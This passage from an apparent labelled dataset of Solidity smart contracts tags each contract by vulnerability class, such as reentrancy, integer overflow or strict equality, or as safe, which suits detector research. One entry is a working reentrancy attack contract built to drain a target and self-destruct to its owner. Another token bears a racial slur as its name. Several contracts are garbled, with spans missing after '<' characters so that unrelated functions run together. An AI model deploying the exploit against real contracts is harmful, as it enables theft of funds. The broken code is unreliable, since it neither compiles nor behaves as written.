AltcoinToken(_tokenContract); uint256 amount = token.balanceOf(address(this)); return token.transfer(owner, amount); } }",./Dataset/ether strict equality (SE),3,3 36556.sol,"pragma solidity ^0.4.15; /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. /// @author Stefan George - <[email protected]> contract MultiSigWallet { /* * Events */ event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); /* * Constants */ uint constant public MAX_OWNER_COUNT = 50; /* * Storage */ mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } /* * Modifiers */ modifier onlyWallet() { if (msg.sender != address(this)) throw; _; } modifier ownerDoesNotExist(address owner) { if (isOwner[owner]) throw; _; } modifier ownerExists(address owner) { if (!isOwner[owner]) throw; _; } modifier transactionExists(uint transactionId) { if (transactions[transactionId].destination == 0) throw; _; } modifier confirmed(uint transactionId, address owner) { if (!confirmations[transactionId][owner]) throw; _; } modifier notConfirmed(uint transactionId, address owner) { if (confirmations[transactionId][owner]) throw; _; } modifier notExecuted(uint transactionId) { if (transactions[transactionId].executed) throw; _; } modifier notNull(address _address) { if (_address == 0) throw; _; } modifier validRequirement(uint ownerCount, uint _required) { if ( ownerCount > MAX_OWNER_COUNT || _required > ownerCount || _required == 0 || ownerCount == 0) throw; _; } /// @dev Fallback function allows to deposit ether. function() payable { if (msg.value > 0) Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. function MultiSigWallet(address[] _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i=0; i<_owners.length; i++) { if (isOwner[_owners[i]] || _owners[i] == 0) throw; isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i owners.length) changeRequirement(owners.length); OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param newOwner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } contract NiggaToken is StandardToken { function () { throw; } string public name; uint8 public decimals; string public symbol; string public version = 'H1.0'; function NiggaToken( ) { balances[msg.sender] = 1800000000; totalSupply = 1800000000; name = ""NiggaToken""; decimals = 2; symbol = ""NIGGA""; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",./Dataset/reentrancy (RE)/,5,5 0x031532240109b60b97fb732574ec9d80f1032bc5_lockEtherPay.sol,"pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public{ owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 29030400; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0x6469464AF55dcA5afc35D7a0a178340691dF277A; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }",Safe,8,8 0x04562d368e202f7e9470f3e238e92c2582c8dcec_TestMining.sol,"pragma solidity ^0.4.18; contract TestMining{ mapping (address => uint256) public investedETH; mapping (address => uint256) public lastInvest; mapping (address => uint256) public affiliateCommision; address dev = 0x47CCf63dB09E3BF617a5578A5eBBd19a4f321F67; address promoter = 0xac25639bb9B90E9ddd89620f3923E2B8fDF3759d; function investETH(address referral) public payable { require(msg.value >= 0.01 ether); if(getProfit(msg.sender) > 0){ uint256 profit = getProfit(msg.sender); lastInvest[msg.sender] = now; msg.sender.transfer(profit); } uint256 amount = msg.value; uint256 commision = SafeMath.div(amount, 10); if(referral != msg.sender && referral != 0x1 && referral != dev && referral != promoter){ affiliateCommision[referral] = SafeMath.add(affiliateCommision[referral], commision); } affiliateCommision[dev] = SafeMath.div(amount, 40); affiliateCommision[promoter] = SafeMath.div(amount, 40); /* affiliateCommision[dev] = SafeMath.add(affiliateCommision[dev], commision); affiliateCommision[promoter] = SafeMath.add(affiliateCommision[promoter], commision); */ investedETH[msg.sender] = SafeMath.add(investedETH[msg.sender], amount); lastInvest[msg.sender] = now; } function divestETH() public { uint256 profit = getProfit(msg.sender); lastInvest[msg.sender] = now; //20% fee on taking capital out uint256 capital = investedETH[msg.sender]; uint256 fee = SafeMath.div(capital, 2); //50% fee to leave early capital = SafeMath.sub(capital, fee); uint256 total = SafeMath.add(capital, profit); require(total > 0); investedETH[msg.sender] = 0; msg.sender.transfer(total); } function withdraw() public{ uint256 profit = getProfit(msg.sender); require(profit > 0); lastInvest[msg.sender] = now; msg.sender.transfer(profit); } function getProfitFromSender() public view returns(uint256){ return getProfit(msg.sender); } function getProfit(address customer) public view returns(uint256){ uint256 secondsPassed = SafeMath.sub(now, lastInvest[customer]); return SafeMath.div(SafeMath.mul(secondsPassed, investedETH[customer]), 2592000); //30 days in seconds is 2592000 } function reinvestProfit() public { uint256 profit = getProfit(msg.sender); require(profit > 0); lastInvest[msg.sender] = now; investedETH[msg.sender] = SafeMath.add(investedETH[msg.sender], profit); } function getAffiliateCommision() public view returns(uint256){ return affiliateCommision[msg.sender]; } function withdrawAffiliateCommision() public { require(affiliateCommision[msg.sender] > 0); uint256 commision = affiliateCommision[msg.sender]; affiliateCommision[msg.sender] = 0; msg.sender.transfer(commision); } function getInvested() public view returns(uint256){ return investedETH[msg.sender]; } function getBalance() public view returns(uint256){ return this.balance; } function min(uint256 a, uint256 b) private pure returns (uint256) { return a < b ? a : b; } function max(uint256 a, uint256 b) private pure returns (uint256) { return a > b ? a : b; } } library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }",Safe,8,8 40743.sol,"pragma solidity ^0.4.15; contract ReentranceExploit { bool public attackModeIsOn=false; address public vulnerable_contract; address public owner; function ReentranceExploit() public{ owner = msg.sender; } function deposit(address _vulnerable_contract) public payable{ vulnerable_contract = _vulnerable_contract ; require(vulnerable_contract.call.value(msg.value)(bytes4(sha3(""addToBalance()"")))); } function launch_attack() public{ attackModeIsOn = true; require(vulnerable_contract.call(bytes4(sha3(""withdrawBalance()"")))); } function () public payable{ if (attackModeIsOn){ attackModeIsOn = false; require(vulnerable_contract.call(bytes4(sha3(""withdrawBalance()"")))); } } function get_money(){ suicide(owner); } } ",./Dataset/reentrancy (RE)/,5,5 656.sol,"pragma solidity ^0.4.24; // File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * See https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: openzeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (_a == 0) { return 0; } c = _a * _b; assert(c / _a == _b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 _a, uint256 _b) internal pure returns (uint256) { // assert(_b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold return _a / _b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_b <= _a); return _a - _b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { c = _a + _b; assert(c >= _a); return c; } } // File: openzeppelin-solidity/contracts/token/ERC20/BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) internal balances; uint256 internal totalSupply_; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_value <= balances[msg.sender]); require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } // File: openzeppelin-solidity/contracts/token/ERC20/BurnableToken.sol /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address _owner, address _spender) public view returns (uint256); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } // File: openzeppelin-solidity/contracts/token/ERC20/StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/issues/20 * Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(_to != address(0)); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue >= oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } // File: openzeppelin-solidity/contracts/token/ERC20/StandardBurnableToken.sol /** * @title Standard Burnable Token * @dev Adds burnFrom method to ERC20 implementations */ contract StandardBurnableToken is BurnableToken, StandardToken { /** * @dev Burns a specific amount of tokens from the target address and decrements allowance * @param _from address The address which you want to send tokens from * @param _value uint256 The amount of token to be burned */ function burnFrom(address _from, uint256 _value) public { require(_value <= allowed[_from][msg.sender]); // Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted, // this function needs to emit an event with the updated approval. allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); _burn(_from, _value); } } // File: openzeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of ""user permissions"". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } // File: contracts/robonomics/Ambix.sol /** @dev Ambix contract is used for morph Token set to another Token's by rule (recipe). In distillation process given Token's are burned and result generated by emission. The recipe presented as equation in form: (N1 * A1 & N'1 * A'1 & N''1 * A''1 ...) | (N2 * A2 & N'2 * A'2 & N''2 * A''2 ...) ... | (Nn * An & N'n * A'n & N''n * A''n ...) = M1 * B1 & M2 * B2 ... & Mm * Bm where A, B - input and output tokens N, M - token value coeficients n, m - input / output dimetion size | - is alternative operator (logical OR) & - is associative operator (logical AND) This says that `Ambix` should receive (approve) left part of equation and send (transfer) right part. */ contract Ambix is Ownable { address[][] public A; uint256[][] public N; address[] public B; uint256[] public M; /** * @dev Append token recipe source alternative * @param _a Token recipe source token addresses * @param _n Token recipe source token counts **/ function appendSource( address[] _a, uint256[] _n ) external onlyOwner { require(_a.length == _n.length); for (uint256 i = 0; i < _a.length; ++i) require(_a[i] != 0); A.push(_a); N.push(_n); } /** * @dev Set sink of token recipe * @param _b Token recipe sink token list * @param _m Token recipe sink token counts */ function setSink( address[] _b, uint256[] _m ) external onlyOwner{ require(_b.length == _m.length); for (uint256 i = 0; i < _b.length; ++i) require(_b[i] != 0); B = _b; M = _m; } /** * @dev Run distillation process * @param _ix Source alternative index */ function run(uint256 _ix) public { require(_ix < A.length); uint256 i; if (N[_ix][0] > 0) { // Static conversion StandardBurnableToken token = StandardBurnableToken(A[_ix][0]); // Token count multiplier uint256 mux = token.allowance(msg.sender, this) / N[_ix][0]; require(mux > 0); // Burning run for (i = 0; i < A[_ix].length; ++i) { token = StandardBurnableToken(A[_ix][i]); require(token.transferFrom(msg.sender, this, mux * N[_ix][i])); token.burn(mux * N[_ix][i]); } // Transfer up for (i = 0; i < B.length; ++i) { token = StandardBurnableToken(B[i]); require(token.transfer(msg.sender, M[i] * mux)); } } else { // Dynamic conversion // Let source token total supply is finite and decrease on each conversion, // just convert finite supply of source to tokens on balance of ambix. // dynamicRate = balance(sink) / total(source) // Is available for single source and single sink only require(A[_ix].length == 1 && B.length == 1); StandardBurnableToken source = StandardBurnableToken(A[_ix][0]); StandardBurnableToken sink = StandardBurnableToken(B[0]); uint256 scale = 10 ** 18 * sink.balanceOf(this) / source.totalSupply(); uint256 allowance = source.allowance(msg.sender, this); require(allowance > 0); require(source.transferFrom(msg.sender, this, allowance)); source.burn(allowance); uint256 reward = scale * allowance / 10 ** 18; require(reward > 0); require(sink.transfer(msg.sender, reward)); } } }",./Dataset/ether strict equality (SE),3,3 1926.sol,"pragma solidity ^0.4.24; contract SafeMath { function safeMul(uint256 a, uint256 b) pure internal returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function safeDiv(uint256 a, uint256 b) pure internal returns (uint256) { assert(b > 0); uint256 c = a / b; assert(a == b * c + a % b); return c; } function safeSub(uint256 a, uint256 b) pure internal returns (uint256) { assert(b <= a); return a - b; } function safeAdd(uint256 a, uint256 b) pure internal returns (uint256) { uint256 c = a + b; assert(c>=a && c>=b); return c; } function max64(uint64 a, uint64 b) pure internal returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) pure internal returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) pure internal returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) pure internal returns (uint256) { return a < b ? a : b; } } contract ERC20 { function totalSupply() public view returns (uint256 supply); function balanceOf(address who) public view returns (uint256 balance); function allowance(address owner, address spender) public view returns (uint256 remaining); function transfer(address to, uint256 value) public returns (bool ok); function transferFrom(address from, address to, uint256 value) public returns (bool ok); function approve(address spender, uint256 value) public returns (bool ok); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, SafeMath { mapping(address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public _totalSupply; address public _creator; bool bIsFreezeAll = false; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function transfer(address _to, uint256 _value) public returns (bool) { require(bIsFreezeAll == false); balances[msg.sender] = safeSub(balances[msg.sender], _value); balances[_to] = safeAdd(balances[_to], _value); emit Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(bIsFreezeAll == false); uint256 _allowance = allowed[_from][msg.sender]; balances[_to] = safeAdd(balances[_to], _value); balances[_from] = safeSub(balances[_from], _value); allowed[_from][msg.sender] = safeSub(_allowance, _value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { require(bIsFreezeAll == false); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function freezeAll() public { require(msg.sender == _creator); bIsFreezeAll = !bIsFreezeAll; } } contract TYROS is StandardToken { string public name = ""TYROS Token""; string public symbol = ""TYROS""; uint256 public constant decimals = 18; uint256 public constant initial_supply = 50 * 10 ** 26; mapping (address => string) public keys; event LogRegister (address user, string key); constructor() public { _creator = msg.sender; _totalSupply = initial_supply; balances[_creator] = initial_supply; bIsFreezeAll = false; } function destroy() public { require(msg.sender == _creator); selfdestruct(_creator); } function register(string key) public { keys[msg.sender] = key; emit LogRegister(msg.sender, key); } }",./Dataset/integer overflow (OF)/,4,4 618.sol,"pragma solidity ^0.4.24; interface HourglassInterface { function buy(address _playerAddress) payable external returns(uint256); function withdraw() external; function balanceOf(address _customerAddress) view external returns(uint256); } interface StrongHandsManagerInterface { function mint(address _owner, uint256 _amount) external; } contract StrongHandsManager { event CreateStrongHand(address indexed owner, address indexed strongHand); mapping (address => address) public strongHands; mapping (address => uint256) public ownerToBalance; //ERC20 event Transfer(address indexed from, address indexed to, uint256 tokens); string public constant name = ""Stronghands3D""; string public constant symbol = ""S3D""; uint8 public constant decimals = 18; uint256 internal tokenSupply = 0; function getStrong() public { require(strongHands[msg.sender] == address(0), ""you already became a Stronghand""); strongHands[msg.sender] = new StrongHand(msg.sender); emit CreateStrongHand(msg.sender, strongHands[msg.sender]); } function mint(address _owner, uint256 _amount) external { require(strongHands[_owner] == msg.sender); tokenSupply+= _amount; ownerToBalance[_owner]+= _amount; emit Transfer(address(0), _owner, _amount); } //ERC20 function totalSupply() public view returns (uint256) { return tokenSupply; } function balanceOf(address _owner) public view returns (uint256) { return ownerToBalance[_owner]; } } contract StrongHand { HourglassInterface constant p3dContract = HourglassInterface(0xB3775fB83F7D12A36E0475aBdD1FCA35c091efBe); StrongHandsManagerInterface strongHandManager; address public owner; uint256 private p3dBalance = 0; modifier onlyOwner() { require(msg.sender == owner); _; } constructor(address _owner) public { owner = _owner; strongHandManager = StrongHandsManagerInterface(msg.sender); } function() public payable {} function buy(address _referrer) external payable onlyOwner { purchase(msg.value, _referrer); } function purchase(uint256 _amount, address _referrer) private { p3dContract.buy.value(_amount)(_referrer); uint256 balance = p3dContract.balanceOf(address(this)); uint256 diff = balance - p3dBalance; p3dBalance = balance; strongHandManager.mint(owner, diff); } function withdraw() external onlyOwner { p3dContract.withdraw(); owner.transfer(address(this).balance); } }",./Dataset/ether strict equality (SE),3,3 1137.sol,"pragma solidity 0.4.24; contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); function burn(uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); event Burn(address indexed from, uint tokens); } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract SGDT is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; function SGDT() public { symbol = ""SGDT""; name = ""SG Tether""; decimals = 18; _totalSupply = 5108324482000000000000000000; balances[0x8834821DA5c9bA1ef263CAA2A5746D57Ec8590de] = _totalSupply; Transfer(address(0), 0x8834821DA5c9bA1ef263CAA2A5746D57Ec8590de, _totalSupply); } function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } function () public payable { revert(); } function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } function burn(uint tokens) public returns (bool success) { require(balances[msg.sender] >= tokens); balances[msg.sender] = safeSub(balances[msg.sender], tokens); _totalSupply = safeSub(_totalSupply, tokens); emit Burn(msg.sender, tokens); return true; } }",./Dataset/integer overflow (OF)/,4,4 38971.sol,"/** * Originally from https://github.com/ConsenSys/MultiSigWallet */ /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. /// @author Stefan George - <[email protected]> contract MultiSigWallet { uint constant public MAX_OWNER_COUNT = 50; event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } modifier onlyWallet() { if (msg.sender != address(this)) throw; _; } modifier ownerDoesNotExist(address owner) { if (isOwner[owner]) throw; _; } modifier ownerExists(address owner) { if (!isOwner[owner]) throw; _; } modifier transactionExists(uint transactionId) { if (transactions[transactionId].destination == 0) throw; _; } modifier confirmed(uint transactionId, address owner) { if (!confirmations[transactionId][owner]) throw; _; } modifier notConfirmed(uint transactionId, address owner) { if (confirmations[transactionId][owner]) throw; _; } modifier notExecuted(uint transactionId) { if (transactions[transactionId].executed) throw; _; } modifier notNull(address _address) { if (_address == 